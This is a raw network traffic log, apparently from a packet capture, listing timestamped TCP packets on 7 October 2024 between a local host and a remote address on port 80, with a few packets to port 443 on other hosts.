Oct 7, 2024 18:43:08.394877911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:08.400827885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:08.401078939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:08.402812958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:08.408847094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:08.740820885 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:08.998260021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:08.998469114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:09.002072096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:09.006798029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:09.162713051 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 7, 2024 18:43:09.490812063 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:09.622942924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:09.623594999 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:09.698240995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:09.703133106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:09.961934090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:09.961963892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:09.962506056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.579479933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.584784031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.755935907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.755958080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.755974054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.755997896 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.756021976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.756026983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.756042004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.756056070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.756067038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.756215096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.756309032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.756323099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.756366014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.756402016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.763710022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.768594980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.936351061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.936435938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.974874973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.975816965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:10.979748964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980705023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980720997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980732918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980849981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980926991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980940104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.980951071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:10.990859985 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:11.280519009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.280611038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.281239033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.286052942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.452725887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.452768087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.452802896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.452841997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.452851057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.452894926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.452920914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453037977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453057051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453105927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453113079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453176022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453183889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453233957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453824997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453840017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453852892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453865051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.453876019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453902960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.453943968 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.454746962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.454761028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.454773903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.454786062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.454809904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.454834938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.535022974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535042048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535058022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535068035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535079002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535089970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.535089016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.535129070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.535167933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536031008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536043882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536053896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536063910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536079884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536089897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536130905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536410093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536500931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536506891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536525011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536535025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536571026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536581039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536585093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536592007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.536627054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.536648035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.541095018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541105986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541115046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541174889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.541187048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541198015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541208029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541218042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541228056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541245937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541254997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541261911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.541269064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.541285992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.541387081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629112959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629173040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629173994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629184961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629198074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629208088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629215002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629220009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629231930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629250050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629302025 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629741907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629753113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629762888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629774094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629786015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629796982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629798889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.629808903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.629842997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.630697966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630708933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630718946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630728960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630738974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630748987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630759001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.630764008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.630809069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.631673098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631684065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631694078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631704092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631714106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631722927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631735086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.631778002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.631778002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.632198095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632234097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632244110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632262945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.632291079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.632301092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632312059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632320881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632332087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.632349014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.632385015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.633109093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633120060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633135080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633145094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633161068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633169889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633177996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.633182049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.633224964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.633251905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.634011030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634027004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634037018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634068966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634078979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634083986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634089947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.634105921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.634161949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.634848118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.635253906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.711653948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711759090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711770058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711780071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711788893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.711790085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711801052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711811066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.711815119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.711860895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712019920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712073088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712085962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712114096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712135077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712219000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712243080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712287903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712408066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712420940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712440968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712452888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712465048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712466955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712483883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712522030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712551117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712826967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712838888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712852001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712869883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712869883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712886095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712894917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712898970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712920904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712933064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712954044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712968111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712971926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.712982893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.712995052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713006973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713018894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713043928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713043928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713079929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713813066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713825941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713839054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713850021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713870049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713881969 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713887930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713902950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713916063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713927984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713934898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713941097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713954926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713964939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.713968039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713983059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.713993073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.714015007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.714035034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.714829922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714838982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714847088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714848995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714855909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714863062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714870930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714878082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714879990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714885950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.714915037 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.714971066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795403004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795430899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795444012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795456886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795469999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795474052 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795484066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795492887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795504093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795531988 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795558929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795561075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795572042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795586109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795595884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795598984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795619965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795648098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795691013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795742989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795754910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795778036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795784950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.795808077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.795955896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796009064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796027899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796081066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796273947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796278954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796293020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796305895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796318054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796334982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796349049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796361923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796374083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796374083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796387911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796397924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796400070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796420097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796421051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796433926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796446085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796458006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796468973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796469927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796484947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.796509027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.796529055 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.797810078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797832012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797844887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797852039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797866106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797877073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797884941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:11.797889948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797904015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797921896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:11.797933102 CEST	80	49699	46.8.231.109	192.168.2.7
